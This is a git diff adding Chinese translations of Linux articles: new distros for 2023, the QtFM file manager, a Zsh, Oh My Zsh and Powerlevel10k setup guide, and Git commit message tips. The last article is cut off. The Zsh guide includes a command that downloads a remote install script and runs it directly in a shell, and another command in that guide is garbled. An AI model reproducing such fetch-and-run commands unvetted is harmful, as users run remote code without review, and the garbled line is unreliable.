https://www.debugpoint.com/wp-content/uploads/2022/12/Xubuntu-22.04-with-Xfce-4.18-Desktop-2.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2022/12/EndeavourOS-Welcome-Screen.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2022/12/EndeavourOS-installer-showing-22no-desktop22-and-other-options.jpg +[4]: https://wiki.archlinux.org/title/Dracut +[5]: https://www.debugpoint.com/wp-content/uploads/2022/12/After-install-items-in-Welcome-app.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/12/EndeavourOS-22Cassini22-Desktop-with-Xfce-4.18.jpg +[7]: https://www.debugpoint.com/xfce-4-18-features/ +[8]: https://www.debugpoint.com/wp-content/uploads/2022/12/EndeavourOS-performance-22Cassini22.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/12/One-click-installation-of-software.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2022/12/Package-cleaner-and-update-manager.jpg +[11]: https://endeavouros.com/news/full-transparency-on-the-grub-issue/ +[12]: https://endeavouros.com/community/ +[13]: https://endeavouros.com/news/cassini-packed-with-new-features-is-here/ +[14]: https://endeavouros.com/download/ +[15]: https://www.debugpoint.com/mint-upgrade-tool/ +[0]: https://img.linux.net.cn/data/attachment/album/202301/24/205819zhx7kx5899ra9ka9.jpg \ No newline at end of file diff --git a/published/202301/20221222.0 ⭐️⭐️ 11 New Distros to look forward to in 2023.md b/published/202301/20221222.0 ⭐️⭐️ 11 New Distros to look forward to in 2023.md new file mode 100644 index 0000000000..f519817f2e --- /dev/null +++ b/published/202301/20221222.0 ⭐️⭐️ 11 New Distros to look forward to in 2023.md @@ -0,0 +1,258 @@ +[#]: subject: "11 New Distros to look forward to in 2023" +[#]: via: "https://news.itsfoss.com/new-distros-2023/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "Cubik65536" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15463-1.html" + +2023 年值得期待的 11 个新发行版 +====== + +> 你对 2023 年有什么期待?试试这些发行版吧! + +![2023 年值得期待的 11 个新发行版][1] + +是时候向 2022 年说再见了!📆 + +2022 年有很多发行版发布,其中有一些非常出色。 + +随着人们越来越关注用户体验和性能,Linux 发行版在过去的一年中有了显著的发展。 + +对于你我这样的最终用户,可以有几个选择。你可以尝试一些 [对初学者友好的选项][2] 或者尝试一些 [面向资深用户的发行版][3]。 + +在本文中,我将重点介绍一些你可以尝试一下看看的新发行版。这些发行版可能不一定能取代现有的流行发行版。但是,如果你想尝试一些新的东西,可以试试列表中的这些。 + +所以,你在 2023 年可以期待什么?🤔 + +好吧,为了回答这个问题,让我们踏上发行版之旅吧! + +> 💡 新的发行版可能不适合生产环境。如果你不介意尝试新的东西,可以尝试这些选项。 + +### 1、Vanilla OS + +![Vanilla OS][4] + +Vanilla OS 是一个基于 Ubuntu 的发行版,它是 [Bottles][5] 的创建者 Mirko Brombin 的心血结晶。 + +它旨在提供一个具有**干净、原生的 GNOME 体验,以及按需不变性on-demand immutability**和优秀的首次安装体验。 + +> LCTT 译注:按需不变性on-demand immutability,指一个可以按需让文件不可更改的功能,用于确保系统文件不会被随意更新。 可参考 [此链接](https://documentation.vanillaos.org/docs/almost/)。 + +如果你想尝试一些新的东西并且想尝试一下按需不变性这个令 Vanilla OS 如此独特的功能,可以尝试一下这个发行版。 + +它还没有稳定版本,在一段时间内也不会有,预计将在 2023 年进行许多改进。 + +> **[Vanilla OS][6]** + +### 2、XeroLinux + +![XeroLinux][7] + +这个兴趣项目 [XeroLinux][8] 是 Steve(即 TechXero)启动的,这个项目并不打算成为一个主流发行版,也没有各种花里胡哨的东西。 + +这个 “养眼” 版的 Arch Linux 衍生版提供了令人愉快的开箱即用体验和一些令人兴奋的功能。 + +如果你希望获得更加易用的 Arch Linux 体验,可以尝试这个。 + +**从 2023 年 1 月起**,XeroLinux 将切换到每月发布的计划。所以,你可以期待 2023 年有很多更新! + +> **[XeroLinux][9]** + +### 3、Crystal Linux + +![Crystal Linux][10] + +Crystal Linux 是一个即将发布的基于 Arch 的发行版,它希望**提供一个易于使用的桌面体验,以及现代 Linux 技术**。 + +在目前的状态下,它可能不适合新手,而具有 Linux 使用经验的人更有可能喜欢它。 + +所以,就目前而言,我建议已经熟悉 Linux 的用户可以尝试一下 Crystal Linux。 + +我预计 Crystal Linux 将在 2023 年有一个稳定版本,该版本将具有许多功能和改进,而这些功能和改进都是基于目前可用的 [beta 版本][12]。 + +> **[Crystal Linux][12]** + +### 4、TUXEDO OS + +![TUXEDO OS][13] + +[TUXEDO OS][14] 是一个由 TUXEDO 计算机公司(一个专注 Linux 的硬件制造商)提供的基于 Ubuntu 的发行版。 + +它提供了 KDE Plasma 桌面环境,还有一些额外的功能,例如用于微调硬件的 **TUXEDO 控制中心**,以及一个用于解决驱动程序与缺少软件包的问题的配置服务 **TUXEDO Tomte**。 + +如果你想要一个**不同的 KDE 驱动的体验**,我建议你尝试一下。 + +最开始,它只作为预装系统在 TUXEDO 的笔记本和台式电脑上提供。 + +但是后来,它在 2022 年 9 月获得了一个通用版本,称为 “TUXEDO OS 1”。它将在 2023 年获得大量更新。 + +> **[TUXEDO OS][15]** + +### 5、EuroLinux + +![EuroLinux][16] + +[EuroLinux][17] 是一个具有**企业级特性**的、基于 RHEL 的发行版。它以可靠的软件包提供了稳定性和安全性。 + +它基于 **RHEL 9**,可以提供与其他 [基于 RHEL 的服务器发行版][18](如 Rocky Linux,CentOS,AlmaLinux 等)的无缝兼容性。 + +它旨在以熟悉的用户界面布局吸引 Windows 和 macOS 用户,在屏幕底部提供了一个半透明的菜单栏。 + +你应该尝试一下,因为整个软件包相当充分,可以同时满足 Linux 和 Windows/macOS 用户的需要。 + +它现在已经发布了稳定版本,也在 2023 年有更新计划。 + +> **[EuroLinux][19]** + +### 6、Zinc + +![Zinc][20] + +[Zinc][21] 是一个 **基于 Ubuntu 的发行版**,经过了调整后提供了一个独特的体验。现有的 Ubuntu 用户可能会惊讶于它所提供的内容。 + +它基于 **Xubuntu** 的最新 LTS 版本,使用了 XFCE 桌面环境,并对其进行了许多改进,例如集成的 Linux AppImage 支持、deb-get 包安装程序、BTRFS 作为默认文件系统等。 + +如果你正确的配置了它,它可以成为你的日用操作系统的替代品。 + +它遵循稳定的发布模式,因此你可以期待 2023 年的重大更新! + +> **[Zinc][21]** + +### 7、CachyOS + +![CachyOS][22] + +[CachyOS][23] 尝试使 **Arch Linux 变得对初学者更加友好**,让任何人都可以使用。它很受欢迎,因为它具有高度的可定制性,而且还拥有最新的软件。 + +它旨在为你提供一个快速、安全且易于使用的操作系统。 + +该操作系统适用于想要试验和尝试新事物的用户。 + +CachyOS 是一个滚动发布的发行版,因此你可以期待它在 2023 年获得大量更新。 + +> **[CachyOS][23]** + +### 8、risiOS + +![risiOS][24] + +在基于 Arch 和 Ubuntu 的 Linux 发行版的海洋中,[risiOS][25] 是一道难得的风景。 + +该项目基于 Fedora Linux,其起源于美国西雅图。 + +它使用 **GNOME 桌面环境** 为用户提供了一个高度可定制的体验,同时还提供了 **自定义的 ZSH 版本**。 + +如果你希望尝试一个基于 Fedora 的发行版,这可能是你的新选择! + +risiOS 会在稳定版本间隔中推送一些小更新。在 2023 年,它还有更多的东西可以提供给你。 + +> **[risiOS][25]** + +### 9、Exodia OS + +![Exodia OS][26] + + #$**!又是一个基于 Arch 的 Linux 发行版? + +是的。🤭 好吧,看起来今年我们已经受够了基于 Arch 的发行版了,这并不一定是坏事! + +认识一下 [Exodia OS][27],一个基于 Arch 的 Linux 发行版,旨在为安全领域的用户提供高度可定制的体验。 + +其功能包括**为各种网络安全领域预装的工具、命令行界面应用、ElKowars wacky widgets (EWW)、Zsh 等**。 + +如果你是一个网络安全专家或爱好者,你可以试试! + +他们为三个不同的使用场景提供了三个版本。你可以期待他们在 2023 年继续推送必要的更新和功能添加。 + +> **[Exodia OS][27]** + +### 10、Kumandar Linux + +![Kumandar Linux][28] + +乍一看,你可能会认为这是 Windows 7,但如果仔细观察,你会发现这是 [Kumandar Linux][29]。 + +它基于**Debian 11,并使用自定义的 XFce 版本**。 + +该名称在中文中的含义为 “指挥官”,以向开发者的第一台电脑 [Commodore VIC20][30] 致敬。 + +如果你喜欢 Windows 7,但想在 Linux 上体验同样的体验,那么你可以试试! + +目前,该系统只发布了早期的候选版本。但是,你可以期待在 2023 年发布稳定版本,希望如此! + +> **[Kumander][29]** + +### 11、Ubuntu Unity + +![Ubuntu Unity][31] + +[今年早些时候][32],Ubuntu Unity 被宣布为 Ubuntu 的官方版本,是 Ubuntu 的一个翻版。 + +它使用了 2010 - 2017 年间 Ubuntu 中使用的 Unity 桌面界面,该界面后来被 Canonical 使用 GNOME 取代。 + +开发工作如火如荼,年轻的首席开发人员正在推动更新和增加新功能。 + +想要尝试不同风格的 Ubuntu 的用户可以试试这个系统。它提供了 LTS 和非 LTS 版本。 + +> **[Ubuntu Unity][33]** + +### 总结 + +即使有了这份全面的清单,我也可能遗漏了一些。 🤔 + +但是。 + +或许 2023 年会有惊喜的发布占据头版,或者一些现有的发行版会尝试一些不同的东西。 + +但在那之前, + +_💬 请告诉我你在 2023 年期待着哪些发行版?_ + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/new-distros-2023/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[Cubik65536](https://github.com/Cubik65536) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/distros-to-look-forward-in-2023.png +[2]: https://itsfoss.com/best-linux-beginners/ +[3]: https://itsfoss.com/advanced-linux-distros/ +[4]: https://news.itsfoss.com/content/images/2022/12/Vanilla-OS-1.png +[5]: https://usebottles.com +[6]: https://vanillaos.org +[7]: https://news.itsfoss.com/content/images/2022/12/XeroLinux.jpg +[8]: https://itsfoss.com/xerolinux/ +[9]: https://xerolinux.xyz +[10]: https://news.itsfoss.com/content/images/2022/12/Crystal-Linux.jpg +[11]: https://git.getcryst.al/crystal +[12]: https://getcryst.al +[13]: https://news.itsfoss.com/content/images/2022/12/TuxedoOS.jpg +[14]: https://news.itsfoss.com/tuxedo-os/ +[15]: https://www.tuxedocomputers.com/en/TUXEDO-OS_1.tuxedo +[16]: https://news.itsfoss.com/content/images/2022/12/EuroLinux.jpg +[17]: https://news.itsfoss.com/eurolinux-desktop/ +[18]: https://itsfoss.com/rhel-based-server-distributions/ +[19]: https://en.euro-linux.com/eurolinux/desktop/ +[20]: https://news.itsfoss.com/content/images/2022/12/Zinc.png +[21]: https://teejeetech.com/tag/zinc/ +[22]: https://news.itsfoss.com/content/images/2022/12/CachyOS.jpg +[23]: https://cachyos.org +[24]: https://news.itsfoss.com/content/images/2022/12/risiOS.png +[25]: https://risi.io +[26]: https://news.itsfoss.com/content/images/2022/12/Exodia-OS.jpg +[27]: https://exodia-os.github.io/exodia-website/ +[28]: https://news.itsfoss.com/content/images/2022/12/Kumander-Linux.jpg +[29]: https://www.kumander.org +[30]: https://en.wikipedia.org/wiki/VIC-20 +[31]: https://news.itsfoss.com/content/images/2022/12/UbuntuUnity.jpg +[32]: https://news.itsfoss.com/unity-remix-official-flavor/ +[33]: https://ubuntuunity.org/ diff --git a/published/202301/20221222.2 ⭐️⭐️ 3 delightful features of the Linux QtFM file manager.md b/published/202301/20221222.2 ⭐️⭐️ 3 delightful features of the Linux QtFM file manager.md new file mode 100644 index 0000000000..0b6dccf74a --- /dev/null +++ b/published/202301/20221222.2 ⭐️⭐️ 3 delightful features of the Linux QtFM file manager.md @@ -0,0 +1,96 @@ +[#]: subject: "3 delightful features of the Linux QtFM file manager" +[#]: via: "https://opensource.com/article/22/12/linux-file-manager-qtfm" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15404-1.html" + +Linux QtFM 文件管理器的 3 个令人愉快的功能 +====== + +![][0] + +> 这个 Linux 文件管理器做了你所期望的一切,没有留下不愉快的惊喜。但这里有一些令人惊喜的事情,使它值得一试。 + +QtFM 是一个简单的文件管理器,旨在通过一个快速直观的界面提供文件管理的基本功能。它适用于 Linux、BSD 和 macOS。 + +QtFM,顾名思义,使用 Qt(规范发音为 “cute”)编程工具包。我在 C++ 和 Python 中使用过 Qt 工具包,使用它总是一种乐趣。它是跨平台的,具有多个有用的抽象级别,因此开发人员不必直接与特定于供应商的 SDK 交互,而且它具有高度可配置性。从用户的角度来看,无论你使用的是最新的硬件还是[旧计算机][1],这都是一种“自然”且快速的体验。 + +### 使用 QtFM + +QtFM 没有太多内容。它专注于实现其名称所声称的:Qt 的文件管理器(FM)。其布局可能是你对文件管理器的期望:左侧是常用位置和设备的列表,右侧是文件列表。 + +![QtFM file manager][2] + +它只有四个菜单: + +- 文件File:创建新文件或文件夹,打开新选项卡或窗口,或退出应用。 +- 编辑Edit:在左侧面板中复制、粘贴、移至垃圾箱或创建新书签。 +- 视图View:在列表视图和图标视图之间切换,调整布局。 +- 帮助Help:许可信息和在线文档链接。 + +与 QtFM 交互与你可能习惯使用的任何标准文件管理器的体验大致相同。你可以点击导航、在其默认应用中打开文件、拖放文件和文件夹、复制和粘贴文件和文件夹、启动应用,以及你在与计算机内容交互时执行的任何其他操作。它很熟悉,所以基本上没有学习曲线,也没有不愉快的惊喜。 + +然而,也有一些惊喜。这是我最喜欢的三个。 + +### 1、将命令放入上下文菜单 + +使用 QtFM,你可以将可以在终端中运行的任何命令添加到右键单击上下文菜单中。例如,假设你想要一个将图像转换为 [webp 格式][3] 的选项到右键菜单。无需学习复杂的框架或脚本语言,无需开发插件。你只需 3 个步骤即可完成: + +- 转到 “编辑Edit” 菜单并选择 “设置Settings”。 +- 单击 “自定义操作选项卡Custom actions tab”。 +- 单击 “添加Add” 按钮并输入要运行的命令,用 `%f` 代表源文件,用 `%n` 代表新文件。 + +![QtFM custom actions][4] + +该操作现在出现在你的 QtFM 上下文菜单中。 + +### 2、灵活的布局 + +Qt 工具包的内置功能之一是它的许多组件(“小部件”)是可分离的。QtFM 利用了这一点,并允许你从 “视图View” 菜单中解锁其布局。解锁后,你可以拖动工具栏和侧面板,将它们固定在窗口周围的新位置。我能够将菜单栏、导航工具栏和 URI 字段组合到一个统一的面板中,并且为了方便,我在窗口的右侧放置了一个文件树。 + +![QtFM unlocking the layout][5] + +这不需要应用设计甚至配置的特殊知识。你只需解锁、拖放和锁定。 + +### 3、标签视图 + +许多 Linux 文件管理器提供选项卡的方式与大多数 Web 浏览器相同。这是一个简单的界面技巧,可让你方便地保留多个位置。我不知道它是否真的节省了时间,但我总觉得它确实如此。QtFM 也提供选项卡,我特别喜欢它实现选项卡的方式有两点。 + +首先,选项卡默认位于窗口底部(你可以在 “设置Settings” 中更改它)。因为我倾向于从左到右、从上到下阅读,所以我通常更喜欢在窗口的底部和右端设置“额外”信息。当然,“额外”信息的构成因用户而异,因此我不会责怪任何开发人员将小部件和面板放置在我不会放置小部件和面板的地方。不过,当开发人员不小心同意我的偏好时,这很好。 + +其次,标签是响应式的。只需将鼠标悬停在目标选项卡上,即可将文件或文件夹从一个选项卡拖动到另一个选项卡中。感觉就像从一个窗口拖放到另一个窗口一样自然。 + +### 安装 QtFM + +在 Linux 上,你的发行版可能会将 QtFM 打包在它的软件仓库中。如果是这样,你可以使用包管理器进行安装。例如,在 Debian 和基于 Debian 的系统上: + +``` +$ sudo apt install qtfm +``` + +如果你的发行版不提供 QtFM,你可以在其 [网站][6] 上找到它的软件包,或者你可以从它的 [Git 仓库][7] 下载源码。 + +--- + +via: https://opensource.com/article/22/12/linux-file-manager-qtfm + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux 中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/22/10/obsolete-computer-linux-opportunity +[2]: https://opensource.com/sites/default/files/2022-12/qtfm.webp +[3]: https://opensource.com/article/20/4/webp-image-compression +[4]: https://opensource.com/sites/default/files/2022-12/qtfm-custom-action.webp +[5]: https://opensource.com/sites/default/files/2022-12/qtfm-layout-unlock.webp +[6]: https://qtfm.eu/ +[7]: https://github.com/rodlie/qtfm/ +[0]: https://img.linux.net.cn/data/attachment/album/202301/02/170250zuwyuzzr9o3myl3l.jpg \ No newline at end of file diff --git a/published/202301/20221227.1 ⭐️⭐️ oh my zsh and powerlevel10k A Match Made in Heaven.md b/published/202301/20221227.1 ⭐️⭐️ oh my zsh and powerlevel10k A Match Made in Heaven.md new file mode 100644 index 0000000000..27d7c57e27 --- /dev/null +++ b/published/202301/20221227.1 ⭐️⭐️ oh my zsh and powerlevel10k A Match Made in Heaven.md @@ -0,0 +1,224 @@ +[#]: subject: "oh my zsh and powerlevel10k: A Match Made in Heaven" +[#]: via: "https://www.debugpoint.com/oh-my-zsh-powerlevel10k/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15432-1.html" + +Oh My Zsh 和 Powerlevel10k:天作之合 +====== + +> 这是一篇快速而简单的指南,用 Oh My Zsh 和 Powerlevel10k 主题改造你的 Zsh 终端 Shell,使其在 Ubuntu 和其他 Linux 发行版中看起来很酷。 + +![][1] + +大多数 Linux 发行版中的默认 Shell 是 Bash。Bash 是一个可靠的和传统的工具。然而,它缺乏一些自定义功能,比如漂亮的颜色、光标支持等等。 + +你可以使用另一个 Shell,即 Zsh 来得到更多的设置调整,并帮助你扩展你的 Bash Shell 体验。 + +这个简单的指南解释了如何安装 Zsh、Oh My Zsh 并应用 Powerlevel10k 主题。 + +### Oh My Zsh 和 Powerlevel10k 安装和配置指南 + +#### 1、安装 Zsh 和改变 Shell + +打开一个终端,使用以下适用于你的发行版的命令安装 Zsh。 + +Ubuntu、Debian、Linux Mint 和所有相关的发行版: + +``` +sudo apt install zsh +``` + +Fedora: + +``` +sudo dnf install zsh +``` + +Arch: + +``` +pacman -S zsh +``` + +安装完成后,找出 Zsh 的安装路径: + +``` +whereis zsh +``` + +然后使用当前用户的 Zsh 可执行路径改变 Shell。 + +``` +chsh -s /usr/bin/zsh <用户名 > +``` + +![改变当前用户的 Shell][2] + +关闭并再次打开终端。然后你应该看到 Zsh 的首次设置。选择选项 2。它将用一个默认的主题改变你的 Shell 提示符的外观,如下图所示: + +![Zsh 的首次设置][3] + +#### 2、安装 Oh My Zsh + +Oh My Zsh 是一套可以进一步定制 Zsh 的脚本。 + +首先,我们将从 GitHub 上下载 Oh My Zsh 脚本来安装它。如果你有 `wget` 和 `git` 软件包,那就最好了。如果还没有安装,请使用以下命令 [安装 wget][4] & git: + +``` +sudo apt install wget +sudo apt install git +``` + +然后用下面的命令安装 Oh My Zsh: + +``` +sh -c "$(wget -O- https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)" +``` + +然后你应该看到 Oh My Zsh 及默认主题 Robbyrussell 应用到了你的终端。 + +![安装 Oh My Zsh 和默认主题][5] + +Oh My Zsh 还附带了其他的主题,你可以 [使用这篇指南][6] 安装它们。然而,在本教程中,我将谈论一个特定的主题,即 Powerlevel10k。 + +#### 3、为 Oh My Zsh 安装 Powerlevel10k 主题 + +打开终端,运行以下命令,从 GitHub 上克隆 Powerlevel10k 代码库,并将文件放到 Oh My Zsh 的配置文件夹中。 + +``` +git clone https://github.com/romkatv/powerlevel10k.git $ZSH_CUSTOM/themes/powerlevel10k +``` + +用文本编辑器打开 `~/.zshrc` 文件,将 `ZSH_THEME` 变量设为 `"powerlevel10k/powerlevel10k"`。 + +``` +cd ~ +``` + +``` +nano .zshrc +``` + +默认情况下,它应该是 Robbyrussell。删除 `”robbyrussell"`,添加下面的 `"powerlevel10k/powerlevel10k"`。 + +更改后,你的 `~/.zshrc` 文件应该是这样的: + +``` +ZSH_THEME="powerlevel10k/powerlevel10k” +``` + +保存并关闭该文件(`CTRL+O`、回车和 `CTRL+X`)。 + +![改变 Oh My Zsh 主题为 Powerlevel10k][7] + +重新启动你的终端,启动首次向导来设置 Powerlevel10k 主题。 + +#### 4、Powerleve10k 的首次设置 + +安装后启动终端时,Powerlevel10k 会提示你各种问题以了解你的 Linux 发行版设置。所以,根据你的需要按下键,按照你的口味来定制你的终端。下面是一些问题的例子截图,可以给你一些启发。 + +![Powerlevel10k - wizard1][8] + +![Powerlevel10k - wizard2][9] + +最后,你可以保存文件,享受你的终端的新面貌。 + +![应用 Powerlevel10k Zsh 主题设置后][10] + +如果你想再次重启配置向导,运行以下程序。你可以随心所欲地做,次数不限。 + +``` +p10k configure +``` + +基本设置就这样结束了。如果你想了解更多,请继续阅读。 + +### 更多配置(高级用法) + +#### 5、安装 Dracula GNOME 终端主题 + +如果你使用的是带有原生终端应用的 GNOME 桌面,你可以试试令人惊叹的 Drakula 主题。要做到这一点,打开一个终端,运行下面的命令来下载该主题: + +``` +git clone https://github.com/dracula/gnome-terminalcd gnome-terminal +``` + +打开 GNOME “终端”应用,进入偏好设置。通过点击 “+” 添加一个新的配置文件,并命名为 “drakula”。然后进入颜色标签,取消勾选 “使用系统主题的颜色use colors from system theme” 选项。 + +![为终端创建一个新的配置文件][11] + +回到终端,运行以下程序。当出现提示时,选择你刚才创建的配置文件名称,如上所述。 + +``` +./install.sh +``` + +![为 GNOME “终端”应用 Drakula 主题][12] + +一旦安装完成,回到偏好设置中,将 Drakula 配置文件标记为默认。 + +#### 6、Zsh 的自动补完和语法高亮 + +你可能想试试由社区开发的两个可用于 Zsh 的插件。它们是 zsh-autosuggestions 和 zsh-syntax-highlighting。 + +打开终端,运行以下程序,下载 zsh-autosuggestions,并将其放在插件文件夹中: + +``` +git clone https://github.com/zsh-users/zsh-autosuggestions.git $ZSH_CUSTOM/plugins/zsh-autosuggestions +``` + +同样地,为语法高亮插件运行以下程序: + +``` +git clone https://github.com/zsh-users/zsh-syntax-highlighting.git $ZSH_CUSTOM/plugins/zsh-syntax-highlighting +``` + +通过文本编辑器打开 `~/.zshrc`文件(使用以下命令),并找到 `plugins=(git)` 一行。并将其替换为以下内容: + +``` +nano ~/.zshrc +``` + +``` +plugins=(git zsh-autosuggestions zsh-syntax-highlighting) +``` + +使用 `CTRL+O`、回车和 `CTRL+X` 保存并关闭该文件。 + +关闭并打开你的终端。现在,你应该可以使用自动建议和语法高亮了。 + +### 总结 + +这样就好了!你现在应该已经在你的系统上安装了 Oh My Zsh 和 Powerlevel10k 主题。你可以根据自己的需要,进一步定制 Powerlevel10k 主题的外观和行为。 + +干杯。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/oh-my-zsh-powerlevel10k/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/12/ohp10k.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2022/12/change-the-shell-for-the-current-user.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2022/12/first-time-setup-for-zsh.jpg +[4]: https://www.debugpoint.com/wget-not-found-error/ +[5]: https://www.debugpoint.com/wp-content/uploads/2022/12/Install-oh-my-zsh-and-default-theme.jpg +[6]: https://www.debugpoint.com/install-use-zsh/ +[7]: https://www.debugpoint.com/wp-content/uploads/2022/12/change-oh-my-zsh-theme-to-powerlevel10k.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/12/powerlevel10k-wizard1.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/12/powerlevel10k-wizard-2.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2022/12/After-applying-settings-in-powerlevel10k-zsh-theme.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2022/12/create-a-new-profile-for-terminal.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2022/12/applying-the-drakula-theme-for-gnome-terminal.jpg diff --git a/published/202301/20221228.1 ⭐️⭐️ 11 tips for writing a good Git commit message.md b/published/202301/20221228.1 ⭐️⭐️ 11 tips for writing a good Git commit message.md new file mode 100644 index 0000000000..74a7de54a8 --- /dev/null +++ b/published/202301/20221228.1 ⭐️⭐️ 11 tips for writing a good Git commit message.md @@ -0,0 +1,188 @@ +[#]: subject: "11 tips for writing a good Git commit message" +[#]: via: "https://opensource.com/article/22/12/git-commit-message" +[#]: author: "AmyJune Hineline https://opensource.com/users/amyjune" +[#]: collector: "lkxed" +[#]: translator: "ZhangZhanhaoxiang" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15467-1.html" + +编写好 Git 提交信息的 11 个技巧 +====== + +![][0] + +> 我请社区的开源从业者分享了他们关于编写有用的 Git 提交信息的建议。 + +最近,当需要更新时,我一直在密切关注从产品和服务获得的变更日志。以下是一些示例: + +- 修复了一些错误。 +- 进行了一些可访问性改进。 +- 我们已经进行了改进,并修复了错误,以实现更顺畅地运行。 + +当我想到我还是一名初级开发人员写的一些首次提交信息时,我不得不沮丧地垂下头: + +- 用鼠标点了一下,现在一切似乎都正常了。 +- 执行了程序员 X 告诉我的操作,现在横幅是蓝色的。 + +这可真令人沮丧!我向我们的贡献者们提出了以下问题: + +- 什么是好的 Git 提交信息? +- 什么是坏的 Git 提交信息? +- 你认为一个项目应该有哪些关于提交信息所写内容的规则? + +以下是他们的答案: + +### 易阅读的文笔是关键 + +与你写任何东西一样,你应该考虑谁会阅读它。然后相应地调整信息的数量和深度。 + +提高你的自然语言和写作技能对于软件开发的职业生涯顺利发展至关重要。重要的不仅仅是代码。 + +—— [Camilla Conte][1] + +### 具有描述性,不要假设 + +我在 [OpenStack][2] 社区中花了很多时间合作,与我在像“野外”的其他随意的项目中看到的相比,它的代码审查者有一些相当严格的标准。 + +我花在撰写一条可靠的提交信息的时间,往往要比编写实际的代码实现或修复程序的时间长得多。有时,提交信息可能会比它们解释的代码变化长很多倍。 + +总结一些贡献者指导: + +- 描述为什么要做出改变,而不仅仅是改变了什么 +- 第一个提交行是最重要的(就像电子邮件的主题行) +- 不要假设审查者了解你正在修复的原始问题 +- 不要假设审查者可以访问外部 Web 服务或网站(总结缺陷报告和其他相关讨论) +- 不要假设代码是不言自明的和自我说明的(尽管没有必要重复你在代码注释中也提出的观点) +- 不要只包含与更改的早期修订相关的信息(我们希望贡献者将修订压扁在一起,并相应地编辑其提交信息)。 + +《OpenStack 贡献者指南》中有一个关于该主题的 [简短章节][3]。 + +—— [Jeremy Stanley][4] + +### 未来的你会感谢自己 + +我非常同意 Jeremy 的观点。+1000。 + +Jeremy 说:“描述为什么要做出改变,而不仅仅是改变了什么。” + +想象一下,你是旁观者,在遥远的未来试图理解这个提交。 + +正如老话所说,设身处地为他人着想。 + +—— [Leigh Morresi][5] + +### 使用 bug ID + +我建议在提交信息的开头添加 bug ID,这样在以后使用 [grep 命令][6] 跟踪提交信息时就会更方便。 + +例如: + +``` +$ git commit -m "BZ#19xxxxx +``` + +要写出深思熟虑的提交,请考虑以下事项: + +- 我为什么要做这些更改? +- 我的更改产生了什么影响? +- 为什么有更改的必要? +- 更改的依据是什么? + +—— [Agil Antony][7] + +### 讲述整个故事 + +我喜欢想象每个提交信息都有一个隐藏的前缀,上面写着 “By applying this(通过应用这个)”。 + +一个好的提交信息包括将要发生的事情以及原因。仅仅有工单作参考是不够的,因为这分散了信息;Git 是去中心化的。作为一名软件开发人员,我想知道为什么当前要考虑做出更改。正在解决的具体问题是什么?考虑(并放弃)了哪些替代解决方案?在创建变更集的过程中发现了哪些影响当前内容的意外情况? + +缩短提交信息没有什么好处。你未来的自己和未来的同事会感激你深入地解释了问题,以及为什么这个变更集是解决方案。认真学习和利用那些内容丰富的“烹饪”博客。然而,在此,仅仅是把生活经验替换成了项目的问题罢了(LCTT 译注:意思是要认真学习和模仿优秀、详细的提交信息)。 + +—— [Lisa Seelye][8] + +### 但不要过于冗长 + +一个好的 Git 提交信息包含有关所做操作的信息,而不要包含其他信息。例如,如果你需要更新 `.gitignore`,只需写 “更新了 .gitignore” 即可。人们可以自行深入到提交本身中了解更多细节。它不需要冗长。 + +糟糕的提交信息类似于“哦,糟糕”或“试试这个”。当然,我也曾经犯过这样的错误,但这对于任何需要一目了然地查看提交信息的人来说都没有任何帮助。 + +提交信息的规则非常主观。他们可能因领导和团队而异。但至少要提供一些有关提交的上下文信息。特别是如果它是一个大的更改。没有人有时间浏览 1000 多个具有大量更改历史的文件。 + +—— [Miriam Goldman][9] + +### 使用现在时 + +我喜欢项目经理风格的提交信息,用现在时而不是将来时的术语编写(例如,“添加” 而不是“已添加”)。然而,这通常只有在频繁提交时才有可能。当你面临最后期限时,你能记住的只有“我是如何做的”而已。然而,写得好的提交不仅有助于合作者,而且有助于提交者回忆历史。 + +—— [Chris Okpada][10] + +### 不要依赖链接 + +我想提醒同事们的一件事是,你不仅仅是向给你的提交作批准的人解释。你还要向未来的开发人员和用户解释,他们在使用 bisect 或 blame 定位问题时发现了这个提交,并试图了解其相关性。 + 